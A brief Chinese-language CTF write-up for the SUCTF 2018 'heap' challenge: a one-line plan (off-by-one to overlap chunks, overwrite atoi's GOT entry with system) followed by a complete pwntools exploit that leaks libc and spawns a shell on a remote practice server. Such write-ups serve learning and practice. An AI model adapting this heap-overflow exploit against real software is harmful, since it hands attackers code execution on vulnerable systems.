suctf2018_heap

suctf2018_heap

这道题会一次性申请2个相同大小的chunk做的时候有点逻辑混乱深深的怀疑本来是ubuntu16的环境…
思路 :
off by one打成堆重叠写到指针段写atoi为system拿shell
exp:

from pwn import *
#p=process('./offbyone')
p=remote('node3.buuoj.cn',26238)
elf=ELF('./offbyone')
libc=elf.libc
def add(size,content):
    p.sendlineafter('edit','1')
    p.sendlineafter('len',str(size))
    p.sendafter('data',content)

def delete(idx):
    p.sendlineafter('edit','2')
    p.sendlineafter('id',str(idx))

def show(idx):
    p.sendlineafter('edit','3')
    p.sendlineafter('id',str(idx))

def edit(idx,content):
    p.sendlineafter('edit','4')
    p.sendlineafter('id',str(idx))
    p.sendafter('data',content)

add(0x88,'a'*0x88)
add(0x88,'\x11'*0x88)
add(0x88,'\x12'*0x88)
edit(0,'b'*0x88+'\xc1')
edit(2,'\x11'*0x20+p64(0)+p64(0x61))
delete(2)
delete(1)
add(0xb0,'\x52'*0x88+p64(0x91)+p64(0x6020C0-0x10))
add(0x88,'d'*0x20)
add(0x88,'\x11'*0x88)
edit(2,p64(0)*2+p64(elf.got['atoi']))
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['atoi']
system=libcbase+libc.sym['system']
edit(0,p64(system))
sleep(1)
p.sendline('sh')
#add(0x88,'/bin/sh\x00')
#show(2)
p.interactive()